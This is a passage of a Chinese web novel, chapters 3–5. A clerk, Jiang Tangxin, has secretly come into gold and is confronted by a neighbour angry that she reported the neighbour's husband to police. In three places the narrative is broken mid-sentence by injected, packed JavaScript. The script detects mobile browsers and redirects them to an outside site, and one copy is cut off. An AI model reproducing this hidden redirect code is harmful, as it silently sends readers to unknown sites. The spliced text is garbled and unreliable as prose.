《我靠做梦成神了》 3. 第 3 章 各种自卫的想法在江棠欣的脑海中盘旋着。 “叮铃铃——” 看到来电显示上硕大的“快递外卖”提示，江棠欣才反应过来，什么抢匪，这是她的外卖到了啊！ “完蛋，好像点多了。” 江棠欣为了省钱，一般是自己做饭，恰逢外卖大战，一下收到七个红包的她一口气点了七个外卖，虽然只花了2块钱，但她吃不完这么多啊！ ——才怪！ “好险，差点饿死了！” 江棠欣面对七份空盒，饿到颤抖的手指这才恢复正常。 “咕咚咕咚……” 六分饱的江棠欣煮了一大锅的螺蛳粉，还奢侈地煎了三个蛋，用空气炸锅炸了三根烤肠，打算填饱宛如黑洞一般的肚子。 “叮铃铃——” 江棠欣看着来电提醒显示的“凤主任”三个大字脑壳就开始疼，虽说现在是她的带薪假期，但街道办的工作内容就决定了她得24小时有事就上。 江棠欣调整了一下表情，皱着眉夹着嗓子做出一副刚被惊醒的虚弱样子：“不好意思啊主任，我睡过头了，现在马上就去——” 江棠欣的道歉还没说完，就被凤秀慧打断了。 “董春花闹起来了。” 凤秀慧用最简短的几句话把事情的严重性说了一下，然后才用温柔的声音安抚江棠欣：“她说要投诉你，但你这件事你没做错，放心，我会处理好的，你把门反锁好，最近少出门。” 江棠欣愣住了。 凤秀慧用上司的身份交代完，又变软和了语气：“欣欣，别怕，婶不会让她这么欺负你的。” “嗯。”江棠欣轻轻应了一声，“婶婶，你放心，我就在家待着，哪也不去。” 挂断电话，江棠欣盯着手机屏幕发呆了一秒，接着听到锅里米线咕咚咕咚快要溢出来的动静，连忙掀盖子加凉水，动作一气呵成。 “咚——”沉重的一大锅加满料的螺蛳粉在桌子上落下时，没放稳磕碰出了清脆的声音，深褐色的汤汁和红油将桌子弄脏，江棠欣为了少洗一个碗的策略不但没能减轻家务量，还要多洗两遍抹布。 “有什么关系，反正我有金山，等我换个大锅就不怕洒了！”江棠欣嘟嘟囔囔，委屈和愤怒化作食欲，拌着眼泪吃掉了一整锅。 从小在孤儿院长大的江棠欣很清楚这个世界上能无条件给她撑腰的人并不存在。 董春花不是第一个背刺自己的人，但哪怕听过无数次，在听到董春花要投诉自己时，江棠欣还是难受得想哭。 投诉记录对基层街道办的工作人员太致命了。 凤秀慧是个好领导，但江棠欣正在评优的关键时期，她没有背景，也没有很高的情商，虽然有利用自己“孤儿”身份博取同情的小技巧，但和实打实的投诉记录比起来，简直是像螳臂当车那样可笑。 “为什么要投诉我呢？她老公打的她，又不是我……” “咚——”沉闷的磕碰声打断了江棠欣的呜咽，江棠欣下意识地看去，泪眼朦胧的视线里，金灿灿的光芒立刻驱散了她的阴霾。 “我的靠山呜呜呜——”江棠欣扑过去捡起了那块从“金山”上撬下来的石块，将脸贴了上去，感受着金属冷硬的质地，委屈的情绪似乎瞬间消失了，痛痛快快地哭了一场。 哭完了，江棠欣忍不住露出了一个傻笑：“嘿嘿~” “大不了就辞职呗！”一直紧绷着向前跑一刻也不敢停歇的江棠欣无比轻松地说出了这条退路。 江棠欣洗了把脸，深呼吸一口气后给凤秀慧打去电话：“主任，我想问一下，董春花投诉我的理由是什么？” 董春花这三人的事情还是比较简单的，录完口供后，犯罪嫌疑人王吉祥和做皮肉生意的女人就要按照流程被带走关上一段时间。 但问题就出在了董春花这个受害者的身上。 董春花早上醒来做笔录是非常配合的，甚至还带着点畅快，但一听王吉祥要被带走关起来，还要留下案底，董春花立刻就急了，拉着民警扯着嗓子就开始翻供：“没有闝倡没有哇！我俩就是打着玩，夫妻吵了几句嘴，不是什么犯罪啊！” 董春花都被打进医院了，怎么想都不可能和“打着玩”挂上钩，但董春花却一口咬死。 “没有，我老公不可能干这种事，他是个老实人啊！” 一个民警冷笑着说：“没闝倡怎么光溜溜地在别人家里？” 董春花憋红了脸，原本就狼狈的脸瞬间变成了五颜六色的调色盘。 “他、他是变态！他有在屋里就不能穿衣服的病！” “草你.妈的董春花，你竟敢这么造谣老子？！”王吉祥瞪红了眼，举手就要打，但他手被拷上了，除了一阵叮铃作响，做不出什么威胁人的举动。 董春花急急地在王吉祥的手臂上拧了一把，低声道：“你个丧了良心的！你要死就去死！别把闺女拖下水！你要是留下案底，你让闺女以后怎么考公？！” 董春花的女儿王瑶在重点高中读书，成绩很好，985211不是梦。王吉祥无数次说过以后就靠着女儿去过人上人的生活。 虽然一直可惜自己没有一个儿子，但女儿有出息，他从前一直都很注意女儿的前途。 然而王吉祥却不像以往那样，一心为女儿考虑的老实好父亲模样荡然无存，冷冰冰的眼神像毒牙盯着造谣污蔑让他丢脸的董春花。 另一个女人没注意到，但她也顺着董春花的话：“是啊警官，我们都是朋友。”她是进过好几次的老油条，脸上笑容十分自然，完全没有董春花和王吉祥的拘谨。 民警很无奈：“我看起来就那么像傻子吗？” 另一个民警说：“电视剧看多了吧？还以为咬死不认就能躲过去？证据链是全的，就算是0口供也不影响。这俩带走先关进去。”后一句是对着同事说的。 董春花暴打王吉祥下手也不轻，但两人是夫妻，王吉祥又是先殴打她在先，董春花的行为就不构成犯罪了。 但董春花脸上却没有一丝欣喜。 “同志，你们误会了同志！我老公真是个老实人啊！他没犯罪他不懂这些的啊！我们就是拌了几句嘴，没那么严重。”董春花看向民警的眼神满是哀求，“我闺女明年就高三了……” 民警严肃着一张脸：“你以为这里是哪里？由得你说什么就是什么吗？！一切都是要讲证据的！我跟你说实话吧，你老公已经不是第一次了，转账记录明明白白写着呢！” 董春花被对方严厉的语气吓得脸色一白，整个人像是瞬间苍老了好几岁，颓然地软下了身子，看着王吉祥被带走，表情茫然又无助，可怜极了。 紧接着，她突然爆发地冲了过去扯住民警：“江棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519248|186245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣呢？！我要投诉江棠欣！她为什么要报警！我们家日子过得好好的，要不是她报警，我老公也不会被关起来，江棠欣这个害人精！” * 辞职就像咳嗽声，只要动了这个念头，就怎么也藏不住。 江棠欣拿出本子和笔，又到海底金山撬了十来个金块翡翠块，把桌子摆得满满当当。 金灿灿的黄金无需任何语言，它的存在本身就诠释了何为“幸福”。至于翡翠，江棠欣虽然看不懂，但她照着拍卖会上据说是价值上亿的帝王绿颜色挑拣，虽然是绿油油的光芒，但没有哪一刻是比现在觉得绿色是如此美丽。 “啊，被金钱包围的感觉可真好啊！” 江棠欣正襟危坐地翻看着自己的每一张银-行-卡。 从小在福利院长大的江棠欣很清楚自己只有读书这一条出路，因此大学毕业之前，她将绝大部分的时间都花费在了读书学习上，没什么时间兼职的她只能靠着接点手工定制饰品赚些钱。 这份兼职一直持续到上岸前才断掉，减去日常生活开支和学杂费后，一共还剩下14689.25。 江棠欣的学习成绩算不上是最顶尖的，但她足够努力，靠着硬学从小到大拿了不少奖学金，这是她给自己的保障和底气，每次拿到奖金就将它存成定期，这么多年攒下来，利滚利足够73825.63。 此外还有两张银-行-卡，是她用来做理财投资和备用金应急池的。每个月发了工资后，都会往里面转一笔钱。 前几年基金亏损有点多，好在债券弥补了些。这两年行情好，基金给赚了些钱，但债券亏了些，但总的来说，也有30%左右的收益，本金+收益一共有43764.54。 用来应急可以随时取用的备用金有两万整，每次多余两万或者少于两万，江棠欣都会进行微调，确保里面有两万的整数。 收益最夸张的是黄金，以前金价低，她每个月定存一克，后来金价涨了，每个月定存0.5克，逢大跌多加仓，短短五年过去，收益达到了惊人的123%，按照今天的金价扣除手续费，一共65124.25。 算上这个月的工资，再减去要还的花呗，江棠欣手里有十九万，这对江棠欣来说是笔不小的钱，但对于一个家庭来说说不得什么。 距离属于自己的房子，更是遥遥无期。 街道办的这份工作，江棠欣做得并不开心，但一想到辞职又要找工作，失业阶段没有收入来源，还要自己交社保，她就焦虑得睡不着。再苦再累，也要咬牙干下去！ 再说新工作就一定好吗？万一是更大的天坑呢？工作嘛，不就是从一个傻逼堆去到另一个傻逼堆吗？ 江棠欣需要每天催眠自己，才能如同行尸走肉一般每天去干生不如死的工作。 “要是能中五百万，就能把我从这个地狱中拯救出去了！” 江棠欣曾经是这么想的，然而现在—— “我已经得到救赎了！”江棠欣看着桌上的大金块，眼神慈爱得不行，比她拳头大一点的金块看着“不起眼”却足够买下这间老小破给她想了二十多年的安身之所。 “砰砰砰——” 江棠欣抱着大金石头怜爱不已是，防盗门被砸得砰砰响，同时还伴随着董春花愤怒的吼声。 “江棠欣你这个害人精！你有本事报警你有本事出来啊！” 4. 第 4 章 “砰砰砰——” 充满了上个世纪历史底蕴的老房子虽然被换上了新的防盗大门，但墙体并未和大门一起进行更换，随着大力的拍击，本就斑驳的墙面这下更是噗噗地往下落灰。 “江棠欣！江棠欣你这个害人精！我是哪里对不起你了，你要这么害我们一家啊！” 厨房里滚烫的开水装了满满一水壶，江棠欣就这么坐着，金块和翡翠已经被她收进了带锁的书桌柜子里。 本不应该出现在这里的“河流”也被她用桌子椅子和快递箱遮挡了视线。 整个屋子看起来非常凌乱，像是一个忙于加班的苦命社畜一回家倒头就睡根本没时间收拾的牛马之家。 可以说住在这个屋子里的主人不要收拾不爱干净，但不会往“这里有一条河”的方向去猜测。 凤秀慧让她离开，先出去避避风头，但江棠欣不可能离开这个房间半步。 房东是个有钱慷慨的好阿姨，虽然收起江棠欣的房租来毫不手软，但在江棠欣准时交了两次房租后，就给换上了这扇厚实的防盗大门。 墙体虽然因为年代久远老化，但墙体里有钢筋，普通人想要光凭拳头砸开，太难。 她只要安安静静地在屋里待着，假装没人，就可以了。 再不济，也有旁边的热水壶。 “咚！” 不知道是不是用手拍门把自己的掌心拍疼了，肉.体凡胎的董春花放弃了和江棠欣这个“坏女人”用“合法”的方式求她去更改口供。 更大的一声巨响发了出来，是木头和防盗门相撞的声音。 “啪——” 木头碎裂的声音是那样明显，好像碎裂的不是木头，而是其他的什么东西。 “小江啊，我求求你了！算大姐这辈子欠你这条命，好不好？救救我老公，我瑶瑶不能有留案底的爸爸啊！” 歇斯底里到最后，是一个母亲卑微又痛苦的哭泣和哀嚎。 门外传来邻居不解的声音：“这是怎么了？你不要在这里为难小江一个孩子啊。” 董春花崩溃：“大哥，我实在是被逼得没活路了啊！” 虽然是工作日，但老小区退休的老人孩子多，虽然被董春花的阵仗吓到，但到底是抵挡不住爱看热闹的天性，随着脚步声越来越多，江棠欣已经很想象得到楼道里密密麻麻全是探出脑袋支起耳朵的场景了。 江棠欣站起身，拿走门口柜子热水壶时，眼里一片淡漠。 一瓶热水烫不死人，她也不想把人烫死将拥有美好未来的自己送进去。 江棠欣只是想为这个不堪一击的脆弱出租屋一个转移阵地的理由。 大量的黄金虽然不好出手，但意外将人烫伤的医药费，她也还是可以处于人道主义出一部分的。 “滴”的一声，大门被江棠欣打开，悠长的电子音还没停下，一只枯爪就将江棠欣死死抓住，指甲甚至要穿破皮肤。 江棠欣被扯住胳膊的时候，没觉得生气，由于太过无语，她甚至还想笑了一下，可惜没能笑得出来。 “董大姐，我理解你现在担心丈夫孩子的心情——” 江棠欣话还没说完，差点被董春花扯得一个趔趄。 “你理解个屁！要不是你这个害人精，我老公也不会被关进看守所，我们一家都被你害惨了！” 丈夫进去了，女儿以后没法考公了，董春花红着眼睛，近乎癫狂，江棠欣口水洗脸的攻击，江棠欣最后也没办法逃过去。 “说！你是不是跟那破鞋是一伙的？！你们就是想仙人跳！都是你们害得我老公！” 江棠欣试图让董春花冷静一点，但董春花像是被逼到绝路的母狼，并不算瘦弱的身体爆发出了极大的力气，死死拽着江棠欣不松手。 董春花要照顾瘫痪在床的婆婆，力气小的根本没办法照顾一个少说几十斤的老人。 那双粗糙有力的手死死拽着江棠欣，江棠欣只感觉自己的衣服都可能被扯烂。 “董大姐，你丈夫已经进去了，你不冷静一点，难道要丢下家里的老人孩子不管也跟着你丈夫到看守所里躲清闲了吗？” 董春花几乎要将牙齿咬出血，虽然手上的力道一点没松，但眼看着像是能听进去人话了。 “警察来了！大家让让，别在堵着啊！”不知道谁喊了一句，楼梯上响起的脚步声又让董春花警惕了起来。 穿着警服的林警官冲了过来，另一个王警官则是护着已经跑得气喘吁吁的凤秀慧落后了一步赶来。 “你们要干嘛？！我可没有对小江做什么，我只是来求求她的。”她哀求地看向江棠欣，“对吧，小江？你行行好，高抬贵手放过我们家吉祥，你王大哥，好不好？” 江棠欣望进她的眼睛，这个可怜的女人短短两天就像被抽干了脂肪的骷髅瘦了下去，本不是那么明显的颧骨高高.耸起，空洞的眼睛像是被抽走了生命力。 江棠欣脑海中不合时宜地冒出一个念头——昨天在医院离开的时候，董春花有这么瘦吗？怎么减的肥，要是能复刻，开个减肥训练营很快就能带着女儿过上百万富翁的幸福生活了吧！ “小江！”董春花的声音尖利得有点像来索命，“小江你说话啊小江！” 干基层遇到这种事情再正常不过了，林警察作为身经百战得像个战士，两步并称一步，冲了过来打在董春花的手背上，趁着董春花反应速度慢，不到一秒就将江棠欣从对方的禁锢中解救了出来。 她一把将江棠欣拉到身后，对着董春花呵斥了一声：“你知道你现在的行为构成什么了吗？往严重点我就能以寻衅滋事把你抓起来了！” 董春花果然被吓住了，血色一下从脸上褪.去，她无助地四处张望了一下，那张满是红肿青紫的脸看起来可怜极了。 江棠欣趁机从活动了一下胳膊，凤秀慧这时也气喘吁吁地赶到了，她气都没喘匀，便要来检查江棠欣的具体伤势。 被董春花掐过的地方没破，但骨头都有点隐隐作痛，肯定是要留淤青了。 她故作大方的对着凤秀慧笑了笑，只是那笑容看起来十分勉强，隐隐的颤抖代表着她的不安和委屈：“婶婶，我没事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519249|186245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江棠欣和凤秀慧没有血缘关系，叫婶婶纯粹是为了拉进双方的关系。江棠欣考进来的时候，先是在凤秀慧丈夫的手里做事，后来被调到街道办，喊凤秀慧婶婶，一下能拉进两个关系。 江棠欣眨了眨眼，将眼眶里的泪水逼回去，转头看向董春花时便是再合格不过的微笑服务：“董大姐，我们坐下好好说，你有什么困难，我们街道办能帮忙的，一定会想办法帮忙。”她这话倒不是骗董春花，帮扶贫困家庭，本来就是街道办的工作内容之一，最常见的就是给困难家庭送米送油之类的。 凤秀慧怜惜江棠欣无父无母无靠山，眼圈都红了，但还不等凤秀慧说什么，董春花便歇斯底里的喊了起来。 “你能帮我什么？！你连低保证都没办法帮我办下来！你还送把我们家唯一的顶梁柱送进去了！我们家没被你害得家破人亡，就已经是老天保佑了！” 看热闹是人的天性，周围不少人都举着手机对着这一场闹剧拍了起来，江棠欣本不想反驳董春花的话，但这会她怕闹出不好的舆论影响，只能硬着头皮解释。 “低保证也是有标准的呀，王吉、大哥平均每月一两万的工资，这不符合要求啊。” 王吉祥是干工程的，有一把子力气和技术，一个月收入并不低，而且家里还有一套房子，哪怕家里有两个无劳动能力者，也够不上低保户的标准。 董春花过得很苦，这纯粹是因为她得一遍照顾瘫痪在床的婆婆，一边赚钱养一大家子。 王吉祥愿意拿多少钱给家里人用，这就不是她能管的事情了。 董春花没听到想要的承诺，眼红一下就红了，拉着江棠欣的手就要往下跪：“求求你们了！放过我们一家四口吧！我跪下不行吗？我给你跪下磕头了。” 江棠欣头皮都要炸了，体制内最讲影响力，她没靠山没背景的，万一这件事闹大，可能真的在街道办干上一辈子了。 “大姐，你别这样，要不然你还是打我一顿吧！” 不知道是不是恐惧让她爆发了潜力，江棠欣硬生生地把董春花“拔”了起来。 但还没等江棠欣站直身体，身后就传来了一声暴喝：“你们干什么？！别欺负我妈！有事冲我来！” 江棠欣眼前一黑，恨不得就这么晕过去了。 只不过比江棠欣更慌张的是董春花，她一看到拨开人群冲过来的王瑶身体就晃了一下，这下是真快晕过去了。 “你不在学校好好学习你来这里干什么？！” 王瑶穿着重点高中江城一中的白蓝校服，个子不算很高，长得很文静，头发被梳起来扎成马尾露出光洁的额头，一看就知道是个好学生。 “妈，你没事吧？！”她气都没喘匀，脸上满是匆匆跑来的汗水和焦急，一看到董春花身上的伤口，眼睛顿时就红了，“谁打的你？！” 江棠欣立刻上前将事情快速解释了一遍：“王大哥闝倡被董大姐抓住，把两人发生口角，我昨天就报了警。” 江棠欣话还没说完，董春花就尖叫了起来：“没有！他没有！是你们仙人跳！” 5.第 5 章 “小江啊，王吉祥啥时候挨枪子啊？唉，他姑娘明年就要考大学了，有这么个吃枪子的爹以后可不好过了哦！” “李奶奶你糊涂啦？流氓罪早没了！不就是闝个倡嘛，哪用得着吃枪子！如果不是董春花太凶，吉祥咋会去找破鞋？” “王哥也挺惨的，平时那么憨厚的一个老实人，要不是董姐逼急了，也不会去找外面的女人，要我说董姐脾气也太差了，一件小事闹成这样，以后让王哥怎么见人啊！” “老实？！我看他就是装的！这肯定不是第一次了！以前老实憨厚的样子，就是用来迷惑人的，说不定啊，他还是个变态呢！” “小江，你说说呗，你在第一现场，肯定知道得比我们多！” 董春花家里出了王吉祥这个被抓进去的丈夫，就只有一个瘫痪在床的婆婆和还在上高中的女儿，江棠欣虽然受了一些轻微伤，但算不上严重，从医院出来后准备去董春花家替她收拾一些衣物和洗漱用品，只是她刚到董春花一家所在小区，立刻就被八卦的邻居们围住了。 “我也想跟大家伙聊啊，但我今天还有反诈任务呢！等我做完了，我再给你们好好讲讲。”江棠欣灵机一动，将本该要做的工作任务拿出来作为推脱的借口。 “小江你别干，阿姨帮你，放心，保准你今天工作完成得漂漂亮亮的！” 有这个八卦在前面吊着，江棠欣的下载任务不到半小时就超额完成了。 江棠欣也信守承诺：“王大哥闝倡被抓了，董大姐和王大哥互殴，都在局里做笔录呢。” “没啦？！” “没了。” “小江你真不会讲故事，没意思，散了散了。” “欸，等等，待会学校放假了，大家可别跟王瑶说什么啊，她一个学生也帮不上什么忙。” 人群散了，大爷大妈们三三两两地凑在一起聊八卦，根本没人理会江棠欣。 江棠欣只能安慰自己高中生上完晚自习回来都十点了，早上六点得起来去学校上早自习，想来是没什么听到八卦的可能。 “小江啊，你肩膀怎么了？”有个奶奶注意到江棠欣走路弓着，关心地多问了一句。 江棠欣活动了一下肩膀，故作轻松地笑了笑：“没什么，这两天有点累。” “年轻人不要总低头玩手机，别的不说，要是驼背了多影响体态啊！” 李奶奶的念叨了一大堆手机的危害，突然她一声清脆的消息提醒声响了起来，李奶奶立刻掏出手机，硕大的字体让她不需要戴眼镜就能看清，只是上了年纪，下意识地就会把手机放到自己眼前不到十厘米的位置。 李奶奶的手机是三折叠，因此江棠欣清楚地看到了微信页面、微视页面和小说页面。 江棠欣：“……” 江棠欣熟门熟路地敲开了董春花家的大门，家里就一个瘫痪在床的老人，她也没指望对方来给她开门。 “林奶奶，我是街道办的小江，端午我来送过米面粽子的。王大哥去外地了，董大姐接了份医院护工的活走不开，让我回来帮忙拿洗漱用品。” “哎，你进来吧，门没锁。” 小两室的房子要比江棠欣租的出租屋大不了多少，一家四口的家具用品摆得满满当当，整齐得看上去让强迫症都觉得舒服。 林奶奶坐在轮椅上，桌子上摆满了丝带、纸片和包装袋，她的手指绕着丝带很快打好一个结，手里拿着热熔胶枪轻轻一点将丝带固定好，随后拿起一个小纸片一起装进袋子里。 然后整整齐齐地码进另一个大塑料袋。 这一包能挣1分钱，一大包三百个，她一天能赚二十多块钱呢！ 董春花的婆婆林奶奶虽然瘫痪了几十年，但房间里没有异味，桌子上的东西虽然多，但不杂乱，一眼看过去整个家都是干干净净。 将手里的包装丝带放好，林奶奶推着推着轮椅的轮子进了董春花和王吉祥的房间。夫妻俩住的房间很小，只有一张床和衣柜。稍大点的房间是老奶奶和王瑶的，因为王瑶要学习，林奶奶和董春花要做手工活，因此这个房间里还多了一张桌子，是王瑶的书桌。它紧贴着墙，椅子就是床，连脚都难以伸开。 “小江啊，你坐会，我去收拾，啊。” 董春花嫁过来就照顾婆婆拉扯小孩，虽然没学过护理知识，但架不住实战经验丰富。邻居们看她家里困难，家里谁住院，都愿意把护工的钱给她赚。 林奶奶并没有怀疑。 江棠欣带着东西离开，脑子里想的还是刚才贴满一面墙的奖状，下楼梯的时候还差点撞到人。 “奶奶，刚才那人是谁啊？我怎么没见过？” 江瑶放下书包，洗了手准备去做饭，随口问起刚才走神差点撞到的人。 她满脑子都是今天没解出来的大题，问的时候没过脑子，听着奶奶的唠叨，她还是处于一个左耳进右耳出的状态。 “瑶瑶你今天怎么这么早就回来了？不上晚自习吗？哎呀你现在学业压力大得很，别碰那菜了，等一下奶奶做……”她絮絮叨叨，恨不得一天的话都说完，“……那个小江就是上次街道办来给我们送米面粽子的，你还记得不？你.妈还给她塞了个鸭蛋，那个鸭蛋可不便宜，我想用来给你爸补身体，结果你.妈那个败家的就这么送出去了。那个小江也是够贪的，拿了鸡蛋不干事，低保办了这么久也没动静，瑶瑶，你说她别是嫌咱们送得少吧？要不，你再送个鸭蛋去？” 王瑶随口道：“老师说暑假补课刚开始，让我们最后放松两天，今天不上晚自……习。” 王瑶自动忽略掉奶奶的抱怨，“街道办”三个字突兀地在她脑海中回荡着。 林奶奶皱眉，非常不高兴：“那么多补课费都交了，凭啥不给你上晚自习，瑶瑶，你现在可马上就是高三生了，以后是要靠好大学给奶奶养老的，这么关键的时刻，可千万不能松懈啊。” 王瑶随手在身上擦了擦，将刚系上的围裙解下来，随口找了个借口敷衍着跑了出去：“奶奶，我去问一下进度。” * 王瑶将神情激动的董春花拉住：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525163|186245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈，别说了，你别这样！” 董春花瞬间委屈地红了眼，枯瘦但有力的手往王瑶的背上打：“你这个白眼狼，你.妈我被人欺负成这样，你还不让我说话，我这是造了什么孽啊！” 十七岁的女生还能长个，高于同龄人的王瑶或许是习惯于埋头苦学，豆芽菜的身体养成了驼背的坏习惯，单薄的肩膀下意识地瑟缩着，默默忍受着母亲的怨怼。 “你知不知道我为了你在外面受了多少委屈糟了多少白眼？王瑶，你不能这么没良心偏着这个外人啊！她把你爸都害进了派出所，你奶奶要是知道这件事，也要被她气得晕过去，王瑶，你得帮我！你帮我一起骂她啊！” “妈，你别这样！江姐姐已经很帮咱们家了，你——” 董春花狠狠在她后背上猛拍一下：“我花了那么多钱不是养白眼狼的！你要是再这样，我就、我就打死你！” 凤秀慧一把扯过董春花的手：“一个被窝睡不出俩人！董春花，我本来以为你是个好的！现在看来你真不愧是王吉祥的老婆啊！你老公闝倡打人，你造谣害人！怎么就把你从派出所里放出来呢！就应该把你也关进去！” 凤秀慧一说，周围看热闹的邻居立刻就明白了事情的原委，对着董春花开始指指点点。 董春花梗着脖子大喊：“我老公是冤枉的啊！” 微胖的凤秀慧笑起来会让人觉得亲近好相处，但她眼睛一瞪，嘴角向下的时候，见识过她厉害的董春花心生怯意。 紧接着，她又余光放到更年轻的软柿子江棠欣身上。 董春花挣脱开凤秀慧的束缚扑到江棠欣面前，紧接着普通一声跪了下去。 “小江，算大姐求你了！我求求你放过瑶瑶吧！大姐知道你王大哥那个混账粗鲁没问题，说了一些对你不好的事情，但大姐和你大哥都知道错了！你不能因为我你大哥就迁怒到瑶瑶身上啊！她还那么年轻，她那么想考公，求求你高抬贵手放她一马吧！” 江棠欣含着泪声音在颤抖：“董大姐，你是在怨我王大哥打你的时候我拦阻他了吗？所以你是想要让我也给你跪下吗？” 打人是比闝倡还要严重的事情，董春花顶着那脸红紫，将脑袋摇成拨浪鼓：“小江，你是想要钱对吧？大姐给你，大姐去卖血都给你，但你别害你大哥啊！瑶瑶以后还要当官，你不能毁了她的人生啊！” 江棠欣还想说话，王瑶冲了过来连拖带拽地将董春花拉走。 “妈，我爸做错了事毁了我，你为什么要去毁了你的救命恩人？警察都是不看事实证据仅凭你一张嘴就能骗过去的傻子吗？我会好好读书，以后会赚很多很多钱让你过富太太的生活，我们回去吧，好不好？” 小区里的老头老太太们虽然闲着没事干爱凑一起聊王家长李家短，但王吉祥和董春花的事情，并没有被他们传播到准高三生王瑶和瘫痪老太太的耳朵里。 “对不起，真的很对不起，谢谢你救了我妈。”瘦弱的女生任凭被自己的母亲捶打怒骂着也没有松开手，只是一个劲地对着江棠欣道歉。